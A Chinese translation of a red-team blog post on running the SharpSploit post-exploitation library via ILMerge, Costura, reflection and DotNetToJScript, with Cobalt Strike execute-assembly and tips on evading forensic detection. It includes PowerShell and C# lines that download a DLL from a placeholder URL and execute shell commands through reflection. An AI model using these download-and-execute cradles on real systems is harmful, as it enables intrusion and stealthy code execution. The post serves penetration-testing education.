内容简介:另外,我将介绍
在渗透测试领域,攻击 工具 集的选择 继续 向着 以使用 C# 作为漏洞后期利用的攻击语言 的方向 发展 ,我觉得尤其是与使用 PowerShell 相比,去考虑一些使用 C# 作为攻击语言有关的操作挑战是非常有用的。 PowerShell 为我们在渗透测试中提供了许多操作和便利,这些优势是我们在逐步选择迁移到 C# 时所没有的。但是,在渗透测试期间,隐身的优先级几乎总是高于便利。话虽如此,但我们总是希望我们的工具集尽可能使用起来灵活方便,同时能保持一个低概率被检测到的范围。
在这篇文章中,我将尝试记录使用 C #的一些操作挑战,并提供解决方案来帮助应对这些挑战。本文中的示例将使用 SharpSploit ,这是我最近开发的 .NET 漏洞后期利用库(并在我的 上 一篇文章 中介绍过)。但是,我的目标是以适用于任何 C# 库或项目的方式进行记录。
另外,我将介绍 SharpGen ,这是我为解决其中一些操作挑战而建立的一个新项目。
操作挑战 – 执行方法
在发布 SharpSploit 时,我决定将其发布为一个库文件,而不是独立的可执行文件。我反复考虑过这一点,因为我知道它可能会导致一些操作上的痛点,但随着我继续在 C #工具集上的开发,我进一步确信这是一个正确的决定。将工具集格式化为库有利于一起使用这些库,并有助于重新获得从 PowerShell 转向使用 C# 后丢失的些许灵活性。
但是,实际上作 为库发布也增加了你在使用其他大多数C#工具集时不会遇到的操作挑战,那么也许你会问,我该如何使用此DLL? 有几种选择?正如我在上一篇文章中所承诺的那样,我将在本文中记录几个方法。
控制台应用程序
要调用 SharpSploit 最简单,最常用的做法是创建一个新的控制台应用程序,添加对已编译的 SharpSploit.dll 的引用 ,然后编写使用 SharpSploit 的自定义代码,之后进行编译。编译生成的 .exe 你可以直接从命令行执行。然而,这种方法的有一个需要注意的问题是,在目标系统上存在需要存在 SharpSploit.dll 才能执行编译生成的 .exe 。
编译期间会使用 DLL 引用将有关 .dll 文件的元数据的内容嵌入到 .exe , 这样, .exe 就可以 在运行时搜索系统上的 DLL 了。在渗透测试时,你可以将 .exe 和 SharpSploit.dll 复制到目标系统的磁盘上,之后就可以成功执行,但通过 Cobalt Strike 的 execute-assembly 命令等方法是不会成功的,因为该命令不会在目标系统的磁盘上写入 .exe 或它的磁盘引用。
那么我们如何才能解决这个 DLL 缺失的难题呢?我记录了四种方法,分别如下: ILMerge,Costura,Reflection,以及DotNetToJScript。
ILMerge
ILMerge 是 .NET 程序集的开源静态链接程序。顾名思义,它可以将多个 .NET 程序集合并到一个输出程序集中。为了实现这一点, ILMerge 实际上通过剥离合并程序集的元数据来修改合并的程序集,并创建一个具有自己的元数据和标识的全新程序集。如果提供给 ILMerge 的列表中的第一个程序集包含 EntryPoint ,则 EntryPoint 将被视为合并程序集的 EntryPoint 。 “EntryPoint” 使控制台应用程序成为了控制台应用程序,而不仅仅是库文件。 EntryPoint 通常是你可能所熟悉的 “main” 函数。
接下来我将逐步介绍如何使用 ILMerge 。首先,你将创建一个新的引用 SharpSploit 的控制台应用程序,并编写使用它的自定义代码:
build 该应用程序,会生成一个 .exe ,在这个例子中我们用到两个文件分别是 SharpSploitDriver.exe 和 SharpSploit.dll 。现在我们可以使用 ILMerge 将这两个程序集合并为一个单独的 SharpSploit.exe 。在下面的截图中, ILMerge.exe 已经在我的环境变量的路径中了。你还需要确保在合并之前删除任何已生成的 .pdb 文件。
生成的 SharpSploit.exe 是一个自包含的可执行文件,它需要在目标系统上存在 SharpSploit.dll 文件。 ILMerge 也可以通过一些配置作为构建过程的一部分进行自动化。如果你选择这种做法, ILMerge 在 README 中 记录了如何执行此操作。
程序集的合并中还有一些有趣的电子取证的东西。如果我们在 DNSpy 中打开 SharpSploit.exe :
我们看到 SharpSploit 实际上并未包含在引用中,但 SharpSploit 命名空间作为模块嵌入到了 SharpSploit.exe 程序集中。我们可以在 DNSpy 中打开 SharpSploitDriver.exe 进行比较:
我们可以看到在这种情况下, SharpSploit 作为了一个引用,但不作为模块。我不确定其中一个或另一个是否是电子取证中的 “ 隐身术 ” ,尽管引用可以通过 “ImageLoad” 事件(使用 Sysmon 命名法)检测到。无论哪种方式,我认为了解潜在的电子取证隐身术很重要。
你需要清楚的是,这个过程不仅仅是将文件合并在一起,而且合并了程序集。此过程具有部分破坏性,可能会影响到应用程序的执行方式。例如,如果功能取决于程序集的名称则会受到影响:
Costura
Costura 是另一个与 ILMerge 类似的开源项目。但是,使用的方法略有不同。 Costura 将 DLL 引用添加为控制台应用程序的 “ 嵌入式资源 ” 。嵌入式资源通常用于应用程序所需的杂项文件,例如图像,视频或其他文件。
Costura 将引用 DLL 嵌入为嵌入式资源,并向 AppDomain 的 AssemblyResolve 事件追加了一个回调,该事件将尝试从应用程序的嵌入式资源中加载程序集!这会影响系统解析应用程序的程序集加载的方式,并允许我们从任意位置(例如应用程序的嵌入式资源)加载程序集。
这个技巧来源于杰弗里里希特 发表于 2010 年的一篇博客文章 ,在这篇博文中他演示了为 AssemblyResolve 事件注册回调的过程。
我将逐步介绍如何使用 Costura 。首先你需要像上次那样创建一个控制台应用程序,添加一个引用 SharpSploit.dll ,并编写使用 SharpSploit 的自定义 C# 代码。你还必须添加一个 Costura.Fody 引用 。通过右键单击 References 并选择 Manage Nuget Packages 就 可以将其安装为 Nuget 程序包:
关于 Costura 有一个 “ 问题 ” 需要注意,最新版本已弃用对 .NET Framework v3.5 的支持。对于攻击性操作, .NET Framework v3.5 通常是你所希望使用的。请务必安装 Costura v1.6.2 以使用 .NET Framework v3.5 程序集。安装 ILMerge 后,你将看到 FodyWeavers.xml 已创建文件。这是 Costura 的配置文件,默认情况下会将所有引用的程序集嵌入为资源。现在,当我们重新编译时,它会生成一个自包含的 SharpSploitDriver.exe 可执行文件:
Costura 生成的二进制文件也有一些有趣的电子取证的东西。在 DNSpy 中打开 SharpSploitDriver.exe :
你会看到, SharpSploitDriver.exe 不仅引用了 SharpSploit ,还包括了 Costura ,以及一些嵌入式的引用: costura.sharpsploit.dll.compressed , costura.sharpsploit.pdb ,和 costura.system.management.automation.dll ,还有一个 Costura 模块。
那么 ILMerge 和 Costura 比较起来有什么区别呢?你会发现 ILMerge 的作者之前提到的博客文章中有一个有趣的评论:
尽管有这样的评论,但我认为两种解决方案都有其用途。事实上,出于程序隐身术和电子取证的原因,我可能会推荐使用 ILMerge 而不是 Costura ,除非 ILMerge 影响到了你的特定应用程序的执行方式。对于 SharpSploit ,我还没有发现使用了 ILMerge 以后出现过什么问题。
反射
反射可用于执行不包含 EntryPoint (即 DLL )的 .NET 程序集。 System.Reflection 命名空间可被用于装载 .NET 组件和调用方法,等等。因此我们可以使用 .NET 反射来加载 SharpSploit 程序集并调用方法。
使用反射的一种方法是使用 PowerShell 。例如,我们可以像下面这样调用 SharpSploit 方法:
PS > [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("SharpSploit.dll").GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", "")) desktop-f9dq76g\cobbr
或者我们可以从指定的 URL 加载它,然后加载程序集并使用反射调用方法:
PS > [System.Reflection.Assembly]::Load((new-object net.webclient).DownloadData("https://example.com/SharpSploit.dll").GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", "")) desktop-f9dq76g\cobbr
当然,我们能利用 PowerShell 所做的任何事情,我们同样可以利用 C# 做到:
public class Program { public static void Main() { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData("https://example.com/SharpSploit.dll")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", "")); } }
在这个示例中,你将需要记住要将程序编译为控制台应用程序。但是,你不必担心需要添加任何引用,因为 SharpSploit 是通过反射加载的,而不是通过典型的程序集解析过程加载的。值得注意的是, Costura 的 “AssemblyResolve” 技术 本身也使 用了反射,它利用的是 System.Reflection.Assembly.Load() 方法。
反射是一个有趣的执行向量,可以作为一个有用的 “ 下载者 ” 来节省可执行文件的大小,避免引用并发症。有关反射的更多信息,我建议你查看 微软的官方文档 。
DotNetToJScript
DotNetToJScript 是由 James Forshaw 编写的一个开源工具,它可以创建加载给定的 .NET 程序集的 JScript 或 VBScript 文件。但是,有一些限制因素使得这种方法不太适用于 SharpSploit 。但它仍然是有可能的,只是需要一些定制化的工作!
你会注意到的第一件事是 DotNetToJScript 与较大的程序集不兼容,默认情况下, SharpSploit 就是一个较大的程序集:
由于嵌入了 Mimikatz 二进制文件导致 SharpSploit 体积变得很大。幸运的是,如果你不需要它们,就可以很容易选择不在编译时嵌入这些二进制文件。只需注释掉 SharpSploit.csproj 文件中的几行代码,就像下面这样:
<ItemGroup> <!-- <EmbeddedResource Include="Resources\powerkatz_x86.dll" /> --> <!-- <EmbeddedResource Include="Resources\powerkatz_x64.dll" /> --> </ItemGroup>
进行此更改后,你只需重新编译 SharpSploit 并将新的 SharpSploit.dll 文件复制到 DotNetToJScript 文件夹即可。
接下来你会发现 DotNetToJScript 不适用于 静态 类或静态方法:
SharpSploit 的大多数有用的方法都是静态的,包括 ShellExecute 。要在 DotNetToJScript 中使用这些方法,你必须编辑 SharpSploit 中的方法,通过删除方法 ShellExecute 方法上的 static 修饰器,重新编译并将新的 SharpSploit.dll 文件复制到 DotNetToJScript 文件夹中。最后,应该可以成功调用:
这种方法对于一次性执行或启动代理比较有用,不过这种方法要求我们将 JScript 或 VBScript 文件放到目标系统上的磁盘上,如果你在系统上已有代理,就没必要使用这种方法了。
四种方法对比结论
到目前为止,我已经记录了创建可以调用 SharpSploit 方法的自包含可执行文件和脚本的四种可选的方法: Costura , ILMerge , Reflection 和通过 DotNetToJScript 的 JScript / VBScript 。让我们快速对比一下这些方法以及它们何时使用比较合适:
· DotNetToJScript – JScript / VBScript 方法在启动代理时最有用,这当然不是 SharpSploit 的目标。我想 SharpSploit 几乎完全可以用于我们已经在系统上有代理的情况。在这种情况下,我们不希望将 JScript 或 VBScript 文件写入到磁盘,因此我们大多数时候都会忽略此方法。但是,我想为那些对启动代理感兴趣的人记录一下这个方法。
· Reflection — 反射这种方法很有趣,在代理启动或 “AssemblyResolve” 的场景(即 Costura )中最有用。 使用基于反射实现的 .NET 下载者是启动代理的良好载体。 我们当然可以继续使用这些下载者来执行我们想要执行的任何一个漏洞后期利用模块,但这也会产生一些额外的,我们所不需要的网络流量,不过这些我们都可以避免。
· Costura / ILMerge – 最后两种方法是 Costura 和 ILMerge ,在我看来这也是很有用的两个方法。这些方法都创建了自包含的可执行文件,可以与 Cobalt Strike 的 execute-assembly 命令和类似的方法一起使用。我之前已经对比过这些方法,结论是 ILMerge 通常(但不总是)是正确的选择。
至少到目前为止我所描述的 Costura 和 ILMerge 这两种方法共同的缺点是使用起来不够方便。你不仅需要编译 SharpSploit 库,还必须创建一个引用该库的控制台应用程序,并实现 ILMerge 或 Costura 配置,然后进行编译。
起初我以为,这似乎不需要太多额外的工作要求。但是, 每次要调用SharpSploit的任意方法时,都需要执行 所有这些操作。作为渗透测试人员,你一定希望能够快速调用连续的 SharpSploit 方法,这对测试项目的操作效率来说是一个真正的障碍。
那么我们该如何才能解决操作挑战中的方便问题呢?且听下回分解。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 论C#作为攻击语言的操作挑战(下)
- 论C#作为攻击语言的操作挑战(下)
- 调查 | 黑客将Python作为攻击编码语言的首选
- 使用Elasticsearch作为主数据存储
- 如何把MongoDB作为循环队列
- 使用 utterances 作为博客评论组件
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。